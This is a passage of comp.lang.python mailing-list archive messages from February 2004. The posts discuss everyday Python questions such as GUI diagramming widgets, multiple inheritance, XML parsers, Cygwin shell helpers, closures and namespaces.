that Pyrex is a great second step (I've had no need for Pyrex yet).

In any case, I don't believe that I would have been able to do or learn 
nearly as much, had I not had Python.

  - Josiah


From sidharthk at hotmail.com  Wed Feb 11 12:37:52 2004
From: sidharthk at hotmail.com (sid)
Date: Wed, 11 Feb 2004 23:07:52 +0530
Subject: Compiling with Mingw
References: <c0dp5v$15n528$1@ID-223265.news.uni-berlin.de>
Message-ID: <c0dp9k$16c5gt$1@ID-223265.news.uni-berlin.de>

OOPS wrong group sorry!!!





From matt_crypto at yahoo.co.uk  Mon Feb  2 18:09:26 2004
From: matt_crypto at yahoo.co.uk (Matt)
Date: 2 Feb 2004 15:09:26 -0800
Subject: Diagramming (wxOGL, diacanvas2)
Message-ID: <94b59a36.0402021509.6072f58d@posting.google.com>

I'm wanting to fish for some (any) advice on finding a diagramming
widget for Python (Linux platform). The application I have in mind is
to have the user construct simple networks in a GUI, somewhat similar
to the Overflow/FlowDesigner application
(http://flowdesigner.sourceforge.net/), and have some analysis
performed on it. I need such functionality as (e.g.): creating boxes,
circles, circles with squares in them, grouping, zooming, scrolling,
lines with arrows, handles on objects.

A little searching turns up:

1. wxOGL via wxPython (http://wiki.wxpython.org/index.cgi/wxOGL),
alleged to be a dead project [ wxOGL, that is! ;-) ].

2. Python bindings for diacanvas2

I've installed and had a *brief* play with both, but I would
appreciate any comments on the merits of these and other possible
options.

Thanks,

Matt


From markus.vonehr at ipm.fhg.de  Tue Feb 10 04:40:55 2004
From: markus.vonehr at ipm.fhg.de (Markus von Ehr)
Date: Tue, 10 Feb 2004 10:40:55 +0100
Subject: firewire/IEEE1394 interface for python?
Message-ID: <c0a8t5$5j8$1@news.rz.uni-karlsruhe.de>

Hi,

has anybody connected to a firewire device from
python? I have a firewire camera and I'd like
to connect to.

Thanks for hints,

Markus



From markus_wankusGETRIDOFALLCAPS at hotmail.com  Sun Feb 29 14:17:46 2004
From: markus_wankusGETRIDOFALLCAPS at hotmail.com (Markus Wankus)
Date: Sun, 29 Feb 2004 14:17:46 -0500
Subject: Limitations of 30 Day Eval?
In-Reply-To: <LUq0c.1368$i_2.9683@news20.bellglobal.com>
References: <LUq0c.1368$i_2.9683@news20.bellglobal.com>
Message-ID: <rVq0c.1369$i_2.9706@news20.bellglobal.com>

Markus Wankus wrote:

> I am about to introduce my company to Solidworks.  What are the 
> limitations of the 30 day evaluation copy?  I had planned on getting the 
> eval from my VAR, then doing a very small prototype project in it to 
> show them how cool Solidworks is.
> 
> Can I then re-use this work in the real version when I convince them 
> (hopefully) to buy it?  Are there any limitations on the eval copy I 
> should be aware of?  Can I open old models I created a couple of years 
> ago in the eval version to show them some *real* models?
> 
> Thanks,
> Markus.

Dumbass...sorry - wrong newsgroup.  Damn this new newsreader!

Markus.


From joe at notcharles.ca  Sun Feb  1 18:51:11 2004
From: joe at notcharles.ca (Joe Mason)
Date: Sun, 01 Feb 2004 23:51:11 GMT
Subject: advice on programming style: is multiple inheritance bad?
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
	<401d5562$0$318$e4fe514c@news.xs4all.nl>
Message-ID: <slrnc1r2id.ea6.joe@gate.notcharles.ca>

In article <401d5562$0$318$e4fe514c at news.xs4all.nl>, Irmen de Jong wrote:
> Uwe Mayer wrote:
> 
>> However, this would cause A2 to have two super classes A1 and SuperA - which
>> is possible of course in Python.
>> 
>> My question is: is that bad programming style?
>> From C++ and Java we "learn" that you shouldn't do that.
> 
>  From C++? Didn't think so... C++ is perfectly capable of
> multiple inheritance. Or do you mean that you can get into
> trouble quickly because of the various access levels,
> virtual base classes etc?

When profiling a large app at work, we discovered that in C++ accessing
every parent class after the first is quite slow.  We were able to just
flip the order of inheritance for some classes, but if you're planning a
complex use of multiple inheritance you should keep that in mind.  (I'm
just assuming it has the same effect in Python.)

> Anyway my feelings about this subject:
> I'm not stronly in favor of multiple inheritance
> but I'm also not strongly against it.
> In my experience there are times that I find m.i.
> sorely lacking in Java because I want to do things
> like mix-in classes. At other times I got myself into
> trouble with a complex m.i. class tree in C++.

Yep, I agree with this.  A mix-in sounds like what the OP was talking
about, so that should be fine, but if it starts to get tangled, stop and
think about using a delegate or something instead.

Joe


From anton at vredegoor.doge.nl  Thu Feb  5 06:29:02 2004
From: anton at vredegoor.doge.nl (Anton Vredegoor)
Date: Thu, 05 Feb 2004 12:29:02 +0100
Subject: Smarter way of doing this?
References: <401e4d57$0$295$edfadb0f@dread12.news.tele.dk>
	<cab22418.0402021554.95d2f3b@posting.google.com>
	<401f53ad$0$287$edfadb0f@dread12.news.tele.dk>
	<4020eb47$0$271$edfadb0f@dread12.news.tele.dk>
	<402216c0$0$135$3a628fcd@reader1.nntp.hccnet.nl>
	<402220D2.7050909@mxm.dk>
Message-ID: <4022294c$0$143$3a628fcd@reader1.nntp.hccnet.nl>

Max M <maxm at mxm.dk> wrote:

>I don't understand what you mean. If I calculate the deviations from 
>what is expected, and use a large result set, I get very small deviations.

That's what I was afraid of, and I can't blame you for it :-)

>In my example below each letter should be occur 50% of the times of the 
>previous letter.
>
>Perhaps you mean that it should behave differently?

No, your code does what it should do and my code was just some
obviously wrong example to show what *kind* of solution I was after.

For example if my code is run with a list of probabilities like this:

[.1,.1,.1,.1,.1] it produces exactly the same distribution as your
code. However, with input like this: [2,1] (*different* probabilities)
it starts to diverge from your code. What I would like to do is to
replace this list [2,1] with the list of probabilities that would
cause my code to produce the same output as yours ...

So [2,1] ==> "some list of probabilities" and this *new* list is used
as multiplication factors in the  line with :

"max([(p*random(),c) for p,c in PC])"

I hope I succeeded in just getting the idea across instead of giving
the impression that my code works better, which obviously it doesn't. 
It *needs* some kind of transformation of the probabilities into an
other list ...

Anton


From no at spam.invalid  Fri Feb 20 14:19:50 2004
From: no at spam.invalid (Russell E. Owen)
Date: Fri, 20 Feb 2004 11:19:50 -0800
Subject: Complex Nested Dictionaries
References: <40354c35@news.bmi.net>
Message-ID: <c15mko$c2g$1@nntp6.u.washington.edu>

In article <40354c35 at news.bmi.net>, "T. Earle" <tnospamwade at bmi.net> 
wrote:

>...
>High Wind Warning --> time1 --> state1 --> zone1, zone2, zone3
>                               |
>                               --> time2 --> state1 --> zone4
>                                              --> state2 --> zone5
>
>Keep in mind, each headline or hazard can have multiple times.  Each time
>will have one or more states with each state containing one or more zones.
>Is there a better way than a dictionary.  As mentioned above, the headline
>or hazard is the key I'll be extracting all the information from.

If you really only want to look up data by headline, then a dictionary 
of dictionaries or nested lists or some other kind of collection is easy 
and should suffice. For instance:
warndict["High Wind Warning"] = (
    (time1, {
        state1: (zone1, zone2, zone3),
        state2: (zone1, zone3),
    }),
    (time2, {...}),
)

However, I suspect you will also want to be able to locate data by 
state, time or zone. If that is true, I really think you should consider 
storing the data in a relational database. It sounds like a perfect 
match to your problem. Python has some nice interfaces to various 
databases (including PostgreSQL and MySQL).

-- Russell

P.S. if you do go with the dictionary, note that it is very easy to make 
a variant dictionary that defines
a[key] = foo
to mean "if list a[key] exists, then append foo to that list, otherwise 
create a new list with foo as its only element" (in fact my RO package 
contains just such a class: RO.Alg.MultiDict -- see <http://www.astro.washington.edu/owen/ROPython.html>)


From edcjones at erols.com  Wed Feb 18 21:49:38 2004
From: edcjones at erols.com (Edward C. Jones)
Date: Wed, 18 Feb 2004 21:49:38 -0500
Subject: Mutability problem when subclassing tuple
Message-ID: <40342544$0$3105$61fed72c@news.rcn.com>

# What restrictions are there when subclassing "tuple" or other
# types that create immutable objets?

# I want this class to contain "(1, 2)".
class simple(tuple):
     def __init__(self, text):
         tuple.__init__(self, [1, 2])

# "simple2" works, therefore "simple" has a mutability problem.
class simple2(list):
     def __init__(self, text):
         list.__init__(self, [1, 2])

# Here is an example that shows what I am trying to do.
# I want to create the tuple in "example" within "__init__" by
# processing "text". In this case the tuple should be "(1, 2)".
class example(tuple):
     def __init__(self, text):
         alist = self.process(text)
         tuple.__init__(alist)

     def process(self, text):
         return [1, 2]

if __name__ == '__main__':
     print simple('abc')  # Prints "('a', 'b', 'c')".
     print simple2('abc')  # Prints "[1, 2]".
     print example('abc')  # Prints "('a', 'b', 'c')".


From jcarlson at nospam.uci.edu  Sun Feb  1 16:15:43 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 01 Feb 2004 13:15:43 -0800
Subject: wxPython documentation
In-Reply-To: <2c60f0e0.0402010147.e225e51@posting.google.com>
References: <401c25a3$0$11357$636a55ce@news.free.fr>
	<2c60f0e0.0402010147.e225e51@posting.google.com>
Message-ID: <bvjqe6$irj$1@news.service.uci.edu>

> If C++ docs are "easy" to convert in your head to Python.
> It does help if YOU KNOW how to program C++ first.
> So much for learning Python as a first computer language!
> And if you have to learn C++ first, then why do you need Python?

Spend a few hours learning C++ syntax.  It is easy.  And you'll then be 
able to use all the 'hard' documentation that you couldn't before.

The reasons that people use Python, as opposed to C++, are varied and 
nontrivial.  If you don't know the reasons why /you/ use Python as 
opposed to other languages, then why don't you give C++, Java, Scheme, 
etc., a shot.  If you find that they float your boat better than Python, 
then use them.  No one is forcing you to use Python.  No one is forcing 
you to use wxPython or PyGTK or PyQT.  But understand that sometimes you 
will need to /learn/ in order to use.


> Why do all programmers seem to think good documention is optional?
> Or an exercise left to the reader?

The wxWindows documentation is fairly optimal for C++ programmers.  It 
is tolerable for Python programmers.  Why?  Because a large portion of 
Python programmers knew C/C++ before finding Python, and it is an easy 
translation.  Those people that only know Python are limiting themselves 
intellectually.  Learning other languages and methodologies will allow 
them to understand the context of Python, and in the case of learning 
C++, will allow them to use documentation that they couldn't before.

The fact is, C++ function calls are self-documenting, where each 
argument tells you what its type is:

wxButton(wxWindow* parent, wxWindowID id, const wxString& label, const 
wxPoint& pos, const wxSize& size = wxDefaultSize, long style = 0, const 
wxValidator& validator, const wxString& name = "button")

It is relatively easy for someone who knows the general syntax of C++ to 
have no problems using the same documentation.  And as I said earlier, 
learning general C++ syntax is easy.  Heck, if hundreds of thousands of 
undergraduate computer science majors can do it between ~1990 and ~1999, 
then you (and everyone else) can too.


> Documentation quality tells a lot about the programmer.
> If a programmer can't communicate to his users how his program works.
> It is a warning sign that the program has not been fully designed, but
> hacked together haphazardly.

Ahh, but as I said earlier, wxWindows C++ documentation is high quality. 
  Translating everything from C++ to Python would take a shitload of 
time, and wouldn't necessarily gain anything.  'Fixing' the above call 
would result in:

wxButton(parent, id, label, pos = wxDefaultPosition, size = 
wxDefaultSize, style = 0, validator = None, name = "button")

But how has the call been simplified?  Now we need to spend 20 lines 
telling people exactly what types of things need to be passed, where the 
original C++ documentation did just fine.


Furthermore, wxWindows people wrote the documentation for C++ 
developers.  The group of people wrapping wxWindows calls for Python 
have no reason to spend their time 'fixing' the hundreds of pages of 
documentation, when a resonably intelligent Python programmer should be 
able to spend an hour learning general C++ syntax, and have no problems 
understanding the wxWindows documentation.

It is not a matter of poor design, or poor-quality software, it is a 
matter of; it is already documented in a reasonable format.  Those who 
don't find the format reasonable, have limited programming experience in 
the first place, are not self-motivated enough to learn the syntax, and 
no amount of documentation will help them.


Hell, take for example the 10 posts in the last couple weeks about, "how 
do I start up an external program from Python, I've looked at the 
documentation, but it isn't possible".  There are no less than 22 calls 
that allow you to start an external program, all fully documented. 
Apparently they haven't spent 5 minutes reading through the os module.

> Say, like on the Spirit Mars Rover.

It is working now.  They fixed it.  I'd say that the ability to write 
software that can recover from failures is an example of good software, 
not bad.

  - Josiah


From mark at mceahern.com  Sat Feb  7 14:39:27 2004
From: mark at mceahern.com (Mark McEahern)
Date: Sat, 07 Feb 2004 13:39:27 -0600
Subject: Basic 'import' problem
In-Reply-To: <c03aeb$12q8$1@ns.felk.cvut.cz>
References: <c03aeb$12q8$1@ns.felk.cvut.cz>
Message-ID: <40253EEF.2090009@mceahern.com>

Frantisek Fuka wrote:

> This thing keeps bugging me. It's probably some basic misunderstanding 
> on my part but I am stumped. Let's say I have two Python files: 
> file.py and file2.py. Their contents is as follows:

You have circular references.  The short answer is, "Don't do that."  ;-)

Also, "file" is not a good name for a module since you clobber the 
builtin file.

Cheers,

// m



From james.kew at btinternet.com  Mon Feb 16 18:45:16 2004
From: james.kew at btinternet.com (James Kew)
Date: Mon, 16 Feb 2004 23:45:16 -0000
Subject: XML Parsing
References: <slrnc2t6bv.4q2.tyler@darkstar.tylere.com>
	<5z3Yb.3920$Cd6.177500@news20.bellglobal.com>
Message-ID: <c0rkhb$1ai18a$1@ID-71831.news.uni-berlin.de>

"Chris Herborth" <chrish at cryptocard.com> wrote in message
news:5z3Yb.3920$Cd6.177500 at news20.bellglobal.com...
>
> PyXML on Sourceforge (http://pyxml.sourceforge.net/) has faster
> DOM-producing routines.

Which are? I like PyXML, but well-documented it ain't. I tend to use PyXML's
minidom, fed by either the validating (== xmlproc) or non-validating (==
expat) parsers -- are there faster PyXML alternatives?

> pyRXP (http://www.reportlab.org/pyrxp.html) is probably the fastest XML
> parser for Python, but it doesn't produce a DOM or have a SAX API...

And recent threads here suggest it's not fully XML-compliant either, unless
you can work in an ASCII-only XML subset.

For raw speed, libxml2 (and its Python wrapper) seems to get a lot of
glowing reviews. It's not a standard DOM API, though, and again
documentation is a problem (lots of C-API-level documentation, but not much
in terms of how to put it together into a working Python app).

I gave it a whirl and it certainly seemed to fly, but getting to grips with
the API and converting my existing DOM-manipulating code to it felt like too
much of a hurdle given that my app runs fast enough as it is.

James




From aahz at pythoncraft.com  Thu Feb 26 09:54:22 2004
From: aahz at pythoncraft.com (Aahz)
Date: 26 Feb 2004 09:54:22 -0500
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<tyfwu6bmfhx.fsf@pcepsft001.cern.ch>
	<c1iuj5$7q3$1@panix1.panix.com>
	<tyfoermmgp7.fsf@pcepsft001.cern.ch>
Message-ID: <c1l1au$nn4$1@panix1.panix.com>

In article <tyfoermmgp7.fsf at pcepsft001.cern.ch>,
Jacek Generowicz  <jacek.generowicz at cern.ch> wrote:
>aahz at pythoncraft.com (Aahz) writes:
>> In article <tyfwu6bmfhx.fsf at pcepsft001.cern.ch>,
>> Jacek Generowicz  <jacek.generowicz at cern.ch> wrote:
>>>
>>>Sure. I have some stateful methods of classes (which I create
>>>dynamically and stick onto the class as the information about the
>>>existence of the method becomes available). By implementing them as
>>>closures I can just stick them on to the class. If I were to implement
>>>them as instances then I'd have to reimplement all the descriptors
>>>that take care of turning functions into bound or unbound methods.
>> 
>> Why not use callable instances?
>
>Errrrr ...
>
>Reading the paragraph you quoted and trying to understand it is left
>as an exercise to you. (Hint: it's the last sentence.)

Nope.  Got nothing to do with my point:

class Callable:
    def __call__(self):
        print "!"

class C:
    def __init__(self):
        self.foo = Callable()

C().foo()

Now tell me why this doesn't do what you want.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Do not taunt happy fun for loops. Do not change lists you are looping over."
--Remco Gerlich, comp.lang.python


From bob at redivi.com  Sat Feb 28 01:22:59 2004
From: bob at redivi.com (Bob Ippolito)
Date: Sat, 28 Feb 2004 01:22:59 -0500
Subject: Python as replacement for PHP?
References: <403fa54b@news.zianet.com> <10404jc6dinura8@corp.supernews.com>
Message-ID: <2004022801225916807%bob@redivicom>

On 2004-02-27 23:00:44 -0500, claird at lairds.com (Cameron Laird) said:

> In article <403fa54b at news.zianet.com>,
> Erik Johnson <ej.at.wellkeeper at dot.com> wrote:
> 			.
> 			.
> 			.
>> some probably not. To those that have used PHP: what am I potentially losing
>> that Python really can't replace?
> 			.
> 			.
> 			.
> The first thing that comes to my mind is the panoply of
> data-management bindings PHP builds in.  Those who need
> to work with a variety of hosting providers like the
> comfort of being able to count on the availability of
> their favorite DBMS.

Yes, PHP is widely available and easy to find cheap hosting for.  
Another additional 'benefit' is that PHP programmers are a dime a dozen 
(though you do get what you pay for).  However, I can't imagine that 
you could make a good living developing software for companies who 
can't afford proper hosting, and I've never seen a project get done 
properly when you throw a bunch of low quality developers at it.  
Python is a LITTLE less esoteric than say, lisp or scheme, so the 
argument that it's going to be hard to find good Python programmers to 
maintain your software isn't a very good one either.

All that said, PHP is a good language for a beginner.  Lots of books 
are available that approach the subject from just about any angle, it 
is trivial to setup (you don't have to, you find some $5/mo provider to 
do it for you, or you buy OS X,), and is so underfeatured that you 
couldn't possibly be frightened by its syntax if it is one of the first 
few languages you've seen.  That doesn't mean it's a good language to 
get real things done with though.

Python has its share of problems too, but they typically only surface 
if you're not experienced enough (installing packages, finding 
packages, learning new APIs, etc.), or if you're TOO experienced 
(frustrated about the GIL, lack of multistate, no 
macro-like-facilities, standard distribution isn't stackless, little 
support for async programming, etc).  Python evolves pretty quickly 
though, and we're attacking most of these problems at both ends (I'm 
personally working on packaging/distribution related matters, and 
stackless).

-bob



From sdfATexpertuneDOTcom  Wed Feb 25 12:16:55 2004
From: sdfATexpertuneDOTcom (Scott F)
Date: Wed, 25 Feb 2004 17:16:55 -0000
Subject: Python scripts in IIS
References: <LIr_b.5246$yZ1.386@newsread2.news.pas.earthlink.net>
	<403A5840.CE02049@engcorp.com>
	<f0u_b.6405$aT1.4998@newsread1.news.pas.earthlink.net>
	<403A7103.7F1CE0D8@engcorp.com>
	<aHv_b.6560$aT1.3079@newsread1.news.pas.earthlink.net>
	<Xns949954A8E8DA6sdfexpertunecom@216.168.3.44>
	<6DJ_b.7904$aT1.2403@newsread1.news.pas.earthlink.net>
	<2c60a528.0402250300.17451bfe@posting.google.com>
	<Xns949A4A2BB5E01sdfexpertunecom@216.168.3.44>
	<403CCF0C.693FBAE2@engcorp.com>
Message-ID: <Xns949A72C3E8FF3sdfexpertunecom@216.168.3.44>

Peter Hansen <peter at engcorp.com> wrote in news:403CCF0C.693FBAE2
@engcorp.com:
>> Can you reference the documentation for the  -u  argument?
> 
> "python -h" will show you.

Right for python, but not for IIS.  E.g., in  

    	<path>python.exe %s %s 

The first %s stands for the script name, and the second %s stands for 
_all_ the arguments.  This is not normal substitution.  That's why %s 
needs to be used, not even %S (capitalized).  

Actually, Robert Brewer's response is more to the point.  Security is 
more troublesome with the above.  



From knightsofspamalot-factotum at gvdnet.dk  Sun Feb 15 17:59:26 2004
From: knightsofspamalot-factotum at gvdnet.dk (Martin Christensen)
Date: Sun, 15 Feb 2004 23:59:26 +0100
Subject: Netscan and Python
References: <mailman.35.1076810936.31398.python-list@python.org>
	<cpabro0ypv8.fsf@cabernet.nelson.monkey.org>
Message-ID: <87bro0kkz5.fsf@gvdnet.dk>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>>>>> "Nelson" == Nelson Minar <nelson at monkey.org> writes:
Nelson> Another random thought - folks often look at the relative lack
Nelson> of Python books vs. Perl books as a sign of Python's
Nelson> weakness. Isn't it strength? Python is so simple and the
Nelson> online docs are so good I never even thought about learning it
Nelson> from a book.

I wouldn't think so. The online documentation (mostly the Python
library documentation) is where I go to have most of my Python
questions answered, but that sort of documentation cannot and should
not cover everything. Consider, for instance, David Mertz' book 'Text
Processing in Python' (http://gnosis.cx/TPiP/). It uses several
hundred pages to expand on topics that in the Python library reference
is covered in only a few pages, this because they have very different
aims: the library reference exists to give a brief overview of the
capabilities of each module, and TPiP is a complete topic guide to
text processing.

I've learnt Python almost exclusively from online documentation, too.
However, for in-depth discussions of more advanced topics, I've found
Python in a Nutshell and The Python Cookbook to be invaluable, and
I've definitely gained insight from them that I would not have from
the online documentation. On the other hand, not all books are
worthwhile, and as such I've still not demanded my copy of Andre
Lessa's Python Developer's Handbook back from the friend I lent it to,
since I've found it both less informative and practical than the
library reference, and indeed it seems to be little but a reworded
version of said library reference.

So in short, books are invaluable for digging deeper than most online
documentation does. Of course, it's fortunate that we are blessed with
some of these books being also made available online.

Martin

- -- 
Homepage:       http://www.cs.auc.dk/~factotum/
GPG public key: http://www.cs.auc.dk/~factotum/gpgkey.txt
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Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using Mailcrypt+GnuPG <http://www.gnupg.org>

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=H1CE
-----END PGP SIGNATURE-----


From db3l at fitlinxx.com  Tue Feb 17 00:53:28 2004
From: db3l at fitlinxx.com (David Bolen)
Date: 17 Feb 2004 00:53:28 -0500
Subject: Win32: Running python programs from a Cygwin shell
References: <slrnc2rvbm.eoi.jgrahn-nntq@frailea.sa.invalid>
	<n%QXb.13022$oe6.72@newssvr29.news.prodigy.com>
Message-ID: <u65e6i753.fsf@fitlinxx.com>

JoeSmith <JoeSmith at IDontWantSpam.bogus.bogusaddress.com> writes:

> You could probably write a replacement for env that uses cygpath -m on
> the script file.  So, your env could call original env then do cygpath
> -m on the second paramter.  The one thing to think about is what the
> shell might do to other file/directory paramters passed to your
> script.  So, does it convert
> 
> 	foo.py .
> 
> into:
> 
> 	python /cygdrive/h/bin/foo.py python /cygdrive/h/bin/
> 
> Then your python script might not work.  So, do you run cygpath on all paramters?
> (...)
> The other option would be to write a special alias/script just for
> foo.py to handle on the oddities.  This is what I did to get it to
> execute gvim for win32.  I wrote a shell function to go through all
> paramters and run cygpath -m
> on everything that does not begin with a '-'.

That sounds very similar to how I have my system setup.  I've got bash
functions defined to translate just the first (non-option) argument to
Windows form for use from my bash prompt.  I haven't really found it
necessary to process all subsequent arguments (on the rare occasion I
need it I just use `cygpath` myself), and as you point out it might
adversely affect how the commands perceive the input.

I tend to run everything explicitly with "py##" aliases (or python)
from the command line because I bounce between python versions a lot,
so I don't depend on the Windows .py mapping, but presumably a similar
approach could work by an alias for "env".

So for example, my Python relevant section from my .bashrc:

          - - - - - - - - - - - - - - - - - - - - - - - - -

#
# Function to pre-process first argument (skipping past options) of a command
# with cygpath to translate paths to for Windows tools.
#
function wpath {
    typeset -i cmdstart=1
    local cmd=""
    local args=""

    while arg=${*:$cmdstart:1} && [ "${arg:0:1}" == "-" ]; do
	cmdstart=cmdstart+1
    done

    if [ $# -ge $cmdstart ]; then
        cmd=`cygpath -w ${*:$cmdstart:1}`
	args=${*:$((cmdstart+1))}
    fi

    echo ${*:1:$((cmdstart-1))} $cmd $args
}

#
# Function used to execute a command with its first argument translated to
# windows compatible paths.
#
function wcmd {
    $1 `wpath ${*:2}`
}

#
# Functions to run explicit Python versions as well as to establish a
# new default path.  Automatically use wpath when executing for path names.
#

function py15path
{
   export PATH=/c/python/1.5:/c/python/1.5/DLLs:$ORIGPATH
}
function py15
{
   PATH=/c/python/1.5:/c/python/1.5/DLLs:$ORIGPATH wcmd python $*
}

function py20path
{
   export PATH=/c/python/2.0:/c/python/2.0/DLLs:$ORIGPATH
}
function py20
{
   PATH=/c/python/2.0:/c/python/2.0/DLLs:$ORIGPATH wcmd python $*
}

function py21path
{
   export PATH=/c/python/2.1:/c/python/2.1/DLLs:$ORIGPATH
}
function py21
{
   PATH=/c/python/2.1:/c/python/2.1/DLLs:$ORIGPATH wcmd python $*
}

function py22path
{
   export PATH=/c/python/2.2:/c/python/2.2/DLLs:$ORIGPATH
}
function py22
{
   PATH=/c/python/2.2:/c/python/2.2/DLLs:$ORIGPATH wcmd python $*
}

function py23path
{
   export PATH=/c/python/2.3:/c/python/2.3/DLLs:$ORIGPATH
}
function py23
{
   PATH=/c/python/2.3:/c/python/2.3/DLLs:$ORIGPATH wcmd python $*
}

# And establish 'python' to filter through wcmd
alias python='wcmd python'

          - - - - - - - - - - - - - - - - - - - - - - - - -


-- David


From peter at engcorp.com  Wed Feb 11 14:21:22 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 11 Feb 2004 14:21:22 -0500
Subject: tkinter, threads and asyncore together
References: <402A7E7D.C423D056@noaa.gov>
Message-ID: <402A80B2.7EDE5DC3@engcorp.com>

george.trojan at noaa.gov wrote:
> 
> My application consists of Tkinter GUI that has to communicate with a
> remote
> server. The communication is bi-directional: the GUI responds to remote
> requests and user actions uch as pressing a button) should send messages
> 
> to the server. I want to have the network interface implemented as a
> separate
> thread, as it may take a while to proccess incoming messages. My initial
> approach is the following
> 
>  ------   Queue   --------------------
> |      | <------ |      asyncore      |        socket
> | GUI  |    ?    |dispatcher_with_send| <------------------>  server
> |      | ------> |                    |
>  ------           --------------------
> 
> My question is how to communicate with asyncore (to send a message, or
> end the thread)? I started with creating an additional dispatcher class
> using unix domain socket, but is seems wrong, why use sockets within the
> same process? I might try file_dispatcher around a pipe, but maybe I
> should use different design altogether.

I don't know what, if anything, asyncore has for that, but it's 
"competition" Twisted has something called callFromThread().  This 
method arranges for the specified callable to be called from within
the asynchronous loop at the next opportunity, allowing a separate
thread to communicate back to the objects in the async thread.

Maybe asyncore has something similar?  (Checking the docs for it, 
I can't see anything that would help.)

-Peter


From pinard at iro.umontreal.ca  Mon Feb 23 08:53:43 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Mon, 23 Feb 2004 08:53:43 -0500
Subject: Python program organization
In-Reply-To: <8089854e.0402230531.30285c9@posting.google.com>
References: <6fGZb.25259$tM5.21166@fed1read04>
	<mailman.139.1077373119.27104.python-list@python.org>
	<40385A13.6090904@NOSPAMcox.net>
	<8089854e.0402230531.30285c9@posting.google.com>
Message-ID: <20040223135343.GA6192@titan.progiciels-bpi.ca>

> > > [Derek W]
> > >>Is it proper to break the program up into modules and put all of
> > >>the modules in a package even if the modules would be of little or
> > >>no use to others (such as the program specific GUI code)?  Would
> > >>this package then go under Python's site-packages directory when
> > >>the program is installed?

> > [Fran?ois Pinard]
> > > This is the most natural thing to do.

[Fuzzyman]
> I disagree - if your program is an application it would be more normal
> to put it in it's own directory in 'Program Files' [...]

Oh!  I'm not an MS user, but would presume `Program Files' is a bit like
`/usr/local/bin/' on Unix, or maybe the preferred place from where icons
on the desktop launch execution?

For a Python software system, best might be to install the bulk of it
into a package, or a hierarchy of packages, within `.../site-packages/'.
But of course, one always need a very small bootstrap along the search
PATH for executables whose sole purpose is importing the `main' module
from the installed packaged and launching it.  This bootstrap is the
only fragment of the whole Python software system which is not compiled.

> It's much better to save that directory for 'general' modules that are
> going to be reused.

Each Python system in its own hierarchy within `.../site-packages/', but
all small bootstraps are kept together within a single directory.

For generic modules which do not pertain specifically to a Python
system, we created a special package named `Local'.  This is useful in
our shop.  Any Python system may import from Local, of course.

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From tjreedy at udel.edu  Thu Feb 26 10:14:55 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 26 Feb 2004 10:14:55 -0500
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be><mailman.58.1077649530.8594.python-list@python.org><tyfbrnno9e2.fsf@pcepsft001.cern.ch><mailman.88.1077699734.8594.python-list@python.org><tyf1xojnzwp.fsf@pcepsft001.cern.ch><m34qtffidu.fsf@pc150.maths.bris.ac.uk><tyfwu6bmfhx.fsf@pcepsft001.cern.ch><m3vflvdo9u.fsf@pc150.maths.bris.ac.uk>
	<tyfk72amei6.fsf@pcepsft001.cern.ch>
Message-ID: <c1l2hf$f7f$1@sea.gmane.org>


"Jacek Generowicz" <jacek.generowicz at cern.ch> wrote in message
news:tyfk72amei6.fsf at pcepsft001.cern.ch...
> language Nirvana" threads. You see, I use Python because it lets me
> gets certain jobs done easily and enjoyably, and don't really much
> care for language patriotism. I will fiercely defend Python on its
> merits (which are legion), but that does not preclude me from
> sometimes noting that it would be handy if something were different
> than it is right now.

Sounds sensible.

> My contribution to this thread started with a question: I paraphrase
> "why are Python closures read only?".

As I said before, because Python has a 'write locally unless directed
otherwise' rule, which is not going to change, and because no one has yet
come up with a convincingly good syntax or method to replace or extend the
global directive for directing otherwise -- where convincely good mean
enough better than mutable wrapping to be worth the bother.  And because no
one has yet cared enough to effectively push the issue further.

On the aesthetics of wrapping:  with a C background, the notion of rebind
vars in something else's strikes me as 'odder' that mutating a mutable.  So
I do not see n = [n] as being that ugly, while understanding that someone
with a 'full-closure' language background well might.  On the other hand,
the non-uniformity of write local, write global, but not in between, is
bothersome enough to enough developers that there was serious discussion of
how to do it.

Terry J. Reedy






From fowlertrainer at anonym.hu  Wed Feb  4 04:59:13 2004
From: fowlertrainer at anonym.hu (fowlertrainer at anonym.hu)
Date: Wed, 4 Feb 2004 10:59:13 +0100
Subject: **kw,**args what are these things ?
Message-ID: <749092213.20040204105913@anonym.hu>

Hello !

I see these things in many sources, under wxPy:

def __init__(self,params,**kw,**args)

What are these parameters, and what's the meaning of the double * ?

Thanx for any info.

-- 
Best regards,
 fowlertrainer                          mailto:fowlertrainer at anonym.hu

PS:
 Please send me private message, if possible, because I'm in digest
 mode.
 Thx




From vincent at visualtrans.de  Sat Feb 14 06:13:49 2004
From: vincent at visualtrans.de (vincent wehren)
Date: Sat, 14 Feb 2004 12:13:49 +0100
Subject: Namespace issues...
References: <d1253dfc.0402140259.3b614b95@posting.google.com>
Message-ID: <c0kvtg$jv2$1@news4.tilbu1.nb.home.nl>


"cghost" <phreacker at aol.com> schrieb im Newsbeitrag
news:d1253dfc.0402140259.3b614b95 at posting.google.com...
| i am very confused...why does the following script modify the global list
"l":
|
| l=[]
|
| def x():
|    l.append("xyz")
|
| x()
| print l
|
| but the same script applied to a single variable doesnt..:
|
| l="moe"
|
| def x():
|    l+="howdy"

Python decides that a variable is local if it's ever *assigned a value in a
function*.
In  this example you assign a value to l. In the first example, you do not
(you change list l
"in place"), so here this optimization does not take place.

You have to be explicit about l being a global if you assign a value to it
using the "global" statement as in:
def x():
    global l
    l+="howdy"

HTH,

Vincent Wehren



|
| x()
| print l




From jcarlson at nospam.uci.edu  Mon Feb 23 23:41:50 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 23 Feb 2004 20:41:50 -0800
Subject: How do I access Python's dictionary of all global variables?
In-Reply-To: <403A088B.840F7141@engcorp.com>
References: <c9d82136.0402210903.7cbf2335@posting.google.com>
